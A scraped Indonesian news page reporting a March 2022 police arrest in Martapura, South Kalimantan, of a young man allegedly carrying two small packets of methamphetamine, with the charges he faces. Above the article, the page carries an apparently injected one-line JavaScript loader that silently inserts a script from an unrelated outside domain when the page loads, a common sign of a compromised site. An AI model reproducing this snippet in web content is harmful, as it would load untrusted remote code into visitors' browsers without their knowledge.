(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Bawa Paket Sabu, Pemuda Asal Sungai Tiung Diringkus di Kampung Baru


KANALKALIMANTAN.COM, MARTAPURA – Anggota kepolisian dari Satresnarkoba Polres Banjar meringkus seorang pemuda yang sedang melintas di Jalan Kampung Baru, Kelurahan Sungai Paring, Kecamatan Martapura, Kabupaten Banjar, Jumat (4/3/2022) sekitar pukul 02.50 Wita.

Pemuda berinisial SF (27), warga Jalan Mistar Cokrokusumo, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru tersebut, diamankan polisi lantaran diduga membawa barang haram jenis sabu.

Kasi Humas Iptu H Suwarji mengatakan, anggota Satresnarkoba Polres Banjar telah melakukan penggeledahan terhadap SF dan berhasil menemukan barang bukti dua paket sabu dengan berat 0,43 gram atau berat bersih 0,05 gram.

“Saat dilakukan penggeledahan, ditemukan barang bukti yaitu dua paket sabu, setelah ditimbang memiliki berat 0,43 gram atau berat bersihnya 0,05 gram,” katanya, Sabtu (5/3/2022).

 

 

Baca juga: Temuan BPOM, Ini 6 Kopi Saset Mengandung Parasetamol dan Viagra

Iptu Suwarji menjelaskan, SF diduga kuat terlibat dalam perantara transaksi jual beli Narkotika jenis sabu, yang mana barang bukti ditemukan di kantong celana sebelah kiri.

“Hasil penggeledahan tersebut ditemukan pada kantong celana sebelah kiri SF yang berisi sabu yang dibalut dengan satu lembar tisu warna putih dan dibungkus menggunakan satu bungkus bekas kotak rokok,” jelasnya.

Barang bukti lain yang turut diamankan dari pelaku ialah satu buah smartphone berwarna silver merk Redmi, serta satu unit Honda Vario berwarna merah.

Ia menambahkan, dari hasil penggeledahan terduga pelaku barang haram beserta barang bukti itu telah dibawa ke Satnarkoba Polres Banjar guna melanjutkan proses pemeriksaan lebih lanjut.

“Kepada pelaku kami kenakan pasal 114 ayat (1) jo pasal 112 ayat (1) Undang-Undang RI No. 35 Tahun 2009 tentang Narkotika, dengan ancaman pidana paling sedikit 5 tahun dan paling banyak 20 tahun dan denda 1 miliar,” pungkasnya (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.